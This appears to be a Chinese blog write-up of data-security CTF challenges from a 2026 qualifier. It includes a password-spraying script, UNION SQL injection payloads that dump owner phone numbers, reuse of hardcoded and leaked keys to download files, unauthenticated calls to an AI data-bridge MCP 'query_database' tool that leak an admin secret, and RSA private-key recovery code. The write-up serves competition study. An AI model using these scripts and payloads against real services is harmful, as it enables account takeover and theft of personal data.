磐石行动 2026 初赛 数据安全

放上来的都是我手写的部分,CTF题没啥意思就不放了

物业信息泄露

题目是一个登录界面,但是有很多接口,扒一下。

公告栏notices/2/可以改成notice/1/ ,即可发现隐藏通知:

可以推断有粗心的人忘改密码了,因此密码喷洒一下(用一个密码试多个用户名)

import re
import requests

BASE = "http://psdxs.idss-cn.com:22817/"
s = requests.Session()

r = s.get(BASE)
m = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', r.text) # 这个在源码里可以看到

csef = m.group(1)

data_list = ["GC","KF","CW","XZ","AB"]
for i in range(1, 100):
    for j in range(5):
        data = {
            "csrfmiddlewaretoken": csef,
            "username": f"{data_list[j]}-{i:03d}",
            "password": "Jc@2025",
        }

        resp = s.post(
            f"{BASE}do-login/",
            data=data,
            headers={"Referer": f"{BASE}/login/"},
            allow_redirects=True,
        )

        if "错误" not in resp.text:
            print(f"Login successful for {data['username']}")

这里试出来是KF-012

登录之后可以通过缴费查询

这里可以通过业主查询对照10月12日缴费的业主信息,和题目所给信息对照,最终收敛到李建国,手机号为139****1745

之后观察到缴费查询有SQL注入特征,通过SQL注入可以在下载获取结果

正常联合注入即可,payload:

UNION DISTINCT SELECT 1, database(), 3, 4, 5
//获取数据库名

UNION DISTINCT SELECT 1, table_name, 3, 4, 5 FROM information_schema.tables WHERE table_schema=database()
//获取所有表名,暴露了 owners 和 payments

UNION DISTINCT SELECT 1, column_name, 3, 4, 5 FROM information_schema.columns WHERE table_name='owners'
//发现字段 owner_id, name, notify_phone

UNION DISTINCT SELECT p.payment_id, concat(o.name,'|',p.notify_phone), 3, 4, 5 FROM payments p JOIN owners o ON p.owner_id=o.owner_id WHERE o.name='李建国' AND p.payment_date='2025-10-12'
//获取数据

最终手机号:13962150847

泄露的文件

先看源码,发现/static/login.js里面硬编码了测试账号和密码

const DEMO_ACCOUNT = {
  username: "partner_demo",
  password: "Demo@Xlan2026"
};

用这个登录合作者入口,F12看源码workbench.js

/* 星澜档案中转柜 workbench */
let STORAGE_KEY = "";

async function loadTasks() {
  try {
    const res = await fetch("/api/v2/tasks");
    const data = await res.json();
    STORAGE_KEY = data.storageKey || "";
    const tbody = document.getElementById("task-list");
    if (tbody && data.tasks) {
      tbody.innerHTML = "";
      for (const t of data.tasks) {
        const tr = document.createElement("tr");
        tr.innerHTML = "<td>" + t.id + "</td><td>" + t.title + "</td><td>" + t.date + "</td><td>" + t.status + "</td>";
        tbody.appendChild(tr);
      }
    }
    loadObjects();
  } catch (_e) {}
}

async function loadObjects() {
  try {
    if (!STORAGE_KEY) return;
    const res = await fetch("/api/v2/objects?key=" + STORAGE_KEY);
    const data = await res.json();
    const tbody = document.getElementById("file-list");
    if (!tbody || !data.objects) return;
    tbody.innerHTML = "";
    for (const o of data.objects) {
      const tr = document.createElement("tr");
      tr.innerHTML = "<td>" + o.title + "</td><td>" + o.created_on + "</td><td>可提取</td>";
      tbody.appendChild(tr);
    }
  } catch (_e) {}
}

document.addEventListener("DOMContentLoaded", () => {
  loadTasks();
});

有两个接口,第一个是/api/v2/tasks,返回task清单和storage_key;

因此知道”storageKey”:”xlan-store-key-0314-a7f2″

第二个接口/api/v2/objects,我们传参key=xlan-store-key-0314-a7f2,得到一串对象列表

根据题目,搜索2026-3-14,发现在开头有这个:

{"objects":[{"channel":"incident-desk","created_on":"2026-03-14","key":"archives/2026/03/t-8f3a.bin","size":311013,"title":"台席导出-0314"},{"channel":"intake-front","created_on":"2026-03-14","key":"archives/2026/03/t-4b1c.bin","size":113302,"title":"前台快照-0314"},{"channel":"archive","created_on":"2026-03-14","key":"archives/2026/03/t-6d2e.bin","size":7130,"title":"归档-0314"}

按照REST惯例,我们猜测storage_key用于鉴权,前面加上文件的key

如GET /api/v2/objects/archives/2026/03/T-8f3a.bin即可下载

最后在incident-desk里面解压xlsx,里面发现了一张未脱敏的图片

对照人名,日期即可得到13962150847

失败的销毁(未完成)

先strings sda.img,有

MACHINE_ID=$(cat /etc/machine-id)
VOL_UUID=$(blkid -s UUID -o value /dev/sda3)
CONTAINER_ID=$(docker inspect -f '{{.Id}}' yh-edge-agent)
PW=$(printf '%s|%s|%s|%s' "$MACHINE_ID" "$VOL_UUID" "$HOSTNAME" "$CONTAINER_ID")

需要找到MACHINE_ID,VOL_UUID,HOSTNAME,CONTAINER_ID

先挂载磁盘(注意这里需要在尾部补全00字节)

在第三分区发现uuid

f3c8a1e2-9b4d-4e6a-8c0f-1d2e3f4a5b6c


container.json中是CONTAINER_ID

Id: 7a2f9c1e8b4d6a0f3e5c7b9d1a2f4e6c8b0d2a4f6e8c0b2d4a6f8e0c2b4d6a5f


export.json里有:

“host_name”: “yh-edge-gw07”


system.journal里有:

MESSAGE=Machine ID is a7c3e91b4f6d2048e5a1c0b7928346df


PW = a7c3e91b4f6d2048e5a1c0b7928346df|f3c8a1e2-9b4d-4e6a-8c0f-1d2e3f4a5b6c|yh-edge-gw07|7a2f9c1e8b4d6a0f3e5c7b9d1a2f4e6c8b0d2a4f6e8c0b2d4a6f8e0c2b4d6a5f

img从1000偏移处开始有数据,根据镜像中的提示解密

根据磁盘中的提示

# yh-unlock: PBKDF2-HMAC-SHA256 iter=250000 dkLen=32 + AES-GCM keywrap (outer volume)

# yh-unlock-inner: PBKDF2-HMAC-SHA256 iter=150000 dkLen=32 + AES-GCM (inner blob)

外层和内层分别有加密,对应解密

然后发现这个AES-GCM解不出来,很奇怪

敏感数据泄露

由于题目是mcp,先探测一下sse端口,发现有回显

直接向这个端点POST一个initial请求

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "initialize",
  "params": {
    "protocolVersion": "2024-11-05",
    "capabilities": {},
    "clientInfo": {"name": "ctf-probe", "version": "1.0"}
  }
}

返回如下内容:

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "protocolVersion": "2024-11-05",
    "capabilities": {"experimental": {}, "tools": {"listChanged": false}},
    "serverInfo": {"name": "ai-data-bridge", "version": "1.23.4.dev1+0dedbd9"}
  }
}

之后照样给tools/list发POST,查询到五个工具:health_check,echo_text,current_time,list_announcements,

query_database

其中query_database可以查询内部数据库,这个没有身份校验,直接查询即可

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "query_database",
    "arguments": {
      "query": "SELECT secret_token FROM admins"
    }
  }
}

服务返回答案

内部只读数据库查询结果:
secret_token
admin_secret_f0e5c1a82b7643b099bd3be7f4c8219e

flag{admin_secret_f0e5c1a82b7643b099bd3be7f4c8219e}

数据水印分析

第一关没做出来。。

第二关,qinggan_adm 表 admin 行的 key 字段存着一个 PEM 私钥,但中间大量字节都是空数据

RSA PRIVATE KEY-----\r\nMIIEowIBAAKCAQEAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2QIDAQABAoIBAB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMCgYEAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPkiQ2BDWU6Sr2/JeYH17VcCgYEA6wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE8CgYBRRUbqppvFprqXclW1cDW/FYkCG5imWvbmQAK+SH2ti1Ptka/qvVgAXDpK4oOkWTkrKHxCS42lagkuremZlDTGj7d1GfqB2tF9OliIVfjwRwzWIDAmw4fUQ9FnCFe4MX+L39jZ7Um/G4/oh9fc/kAAE8R38mG1bm7xFje7S5jahQKBgDiMhCS90M+p7p8AI/zI2CKy7ga9s7HJUtsUNbHu36GM4pGKD91hKEgs5wHLJ+/pFrG5kJMKCO6pRL1tgviElzrce5+8bEkzHGshmQhnJguLDX90gUtPw/FDFss+B8W5JekVvwE0gYeo31rcLYrTqBqumJ1RiBu0HnrLY96DyXoNAoGBAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgnnvm6RRj8bzL59XAC5iIoReI+\r\n-----END RSA PRIVATE KEY-----

取中间字节,base64解码之后得到version, n, e, d, p, q, dp, dq, qinv 9个数,由此枚举 k = 1..65536,能整除时 p = (e·dp−1)/k + 1,爆破 p 命中k=28614, q 命中k=15754

import re, base64, hashlib, math

raw = open(r"C:\Users\Admin\Downloads\management_a\management_a.sql", encoding="utf-8").read()


pem_body = "MIIEowIBAAKCAQEAqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2QIDAQABAoIBAB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMCgYEAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPkiQ2BDWU6Sr2/JeYH17VcCgYEA6wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE8CgYBRRUbqppvFprqXclW1cDW/FYkCG5imWvbmQAK+SH2ti1Ptka/qvVgAXDpK4oOkWTkrKHxCS42lagkuremZlDTGj7d1GfqB2tF9OliIVfjwRwzWIDAmw4fUQ9FnCFe4MX+L39jZ7Um/G4/oh9fc/kAAE8R38mG1bm7xFje7S5jahQKBgDiMhCS90M+p7p8AI/zI2CKy7ga9s7HJUtsUNbHu36GM4pGKD91hKEgs5wHLJ+/pFrG5kJMKCO6pRL1tgviElzrce5+8bEkzHGshmQhnJguLDX90gUtPw/FDFss+B8W5JekVvwE0gYeo31rcLYrTqBqumJ1RiBu0HnrLY96DyXoNAoGBAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgnnvm6RRj8bzL59XAC5iIoReI+"
der = base64.b64decode(pem_body)

def read_len(b, i):
    l = b[i]; i += 1
    if l & 0x80:
        n = l & 0x7f
        l = int.from_bytes(b[i:i+n], "big"); i += n
    return l, i

assert der[0] == 0x30
L, i = read_len(der, 1)
fields = []
while i < 2 + L:
    assert der[i] == 0x02                      # INTEGER 标签
    l, j = read_len(der, i + 1)
    fields.append(der[j:j+l])
    i = j + l
version, n_b, e_b, d_b, p_b, q_b, dp_b, dq_b, qinv_b = fields
e = int.from_bytes(e_b, "big")

def recover_prime(dx_b, check):
    edx = e * int.from_bytes(dx_b, "big") - 1
    for k in range(1, e + 1):
        if edx % k:
            continue
        p = edx // k + 1
        if p.bit_length() == 1024 and check(p.to_bytes(129, "big")):
            return p, k
    return None, None

p, kp = recover_prime(dp_b, lambda pb: pb[-16:] == p_b[-16:])
q, kq = recover_prime(dq_b, lambda qb: qb[-1] == q_b[-1] and qb[1] == q_b[1])
print("p 命中 k =", kp, "; q 命中 k =", kq)

def is_prime(x):
    return pow(2, x - 1, x) == 1 and pow(3, x - 1, x) == 1 and pow(5, x - 1, x) == 1
n = p * q
nb = n.to_bytes(257, "big")
print("p prime:", is_prime(p), " q prime:", is_prime(q))
print("n 首字节吻合:", nb[1:2] == n_b[1:2], " n 尾字节吻合:", nb[-1:] == n_b[-1:])

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print("d bit_length:", d.bit_length())
print("md5(d 十进制) =", hashlib.md5(str(d).encode()).hexdigest())

最终得到6e7436f7b7cf17661ec5d043ef24f12b

第三关,qinggan_order_logs 表共 112 条,每行有两个关键列:verification(32 位 hex 的摘要值)和 signature(base64,256 字节 =RSA-2048 签名)

枚举SQL数据,用第二问恢复的n和e验证数字签名即可

import re, base64, json, hashlib

raw = open(r"management_a.sql", encoding="utf-8").read()
rec = json.load(open(r"D:\workspace\rsa_recovered.json"))
n, e = int(rec["n"]), rec["e"]

rows = re.findall(
    r"INSERT INTO `qinggan_order_logs` VALUES \((\d+), [^,]+, [^,]+, [^,]+, (?:'[^']*'), (?:'(?:[^'\\]|\\.)*'), '([0-9a-f]{32})', '([A-Za-z0-9+/=]+)'\)",
    raw)

LHASH = hashlib.sha1(b"").digest()

def mgf1(seed, length):
    out = b""
    for i in range((length + 19) // 20):
        out += hashlib.sha1(seed + i.to_bytes(4, "big")).digest()
    return out[:length]

def oaep_decode(em):
    if em[0] != 0:
        return None
    masked_seed, masked_db = em[1:21], em[21:]
    seed = bytes(a ^ b for a, b in zip(masked_seed, mgf1(masked_db, 20)))
    db = bytes(a ^ b for a, b in zip(masked_db, mgf1(seed, 235)))
    if db[:20] != LHASH:
        return None
    i = 20
    while db[i] == 0:
        i += 1
    if db[i] != 1:
        return None
    return db[i + 1:]

bad = []
for rid, ver, sig in rows:
    s = int.from_bytes(base64.b64decode(sig), "big")
    em = pow(s, e, n).to_bytes(256, "big")
    m = oaep_decode(em)
    if m != ver.encode(): 
        bad.append(int(rid))

print("未通过验签的 id:", bad)
print("-".join(map(str, sorted(bad))))

答案为212-222-227-255-294-301-311

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇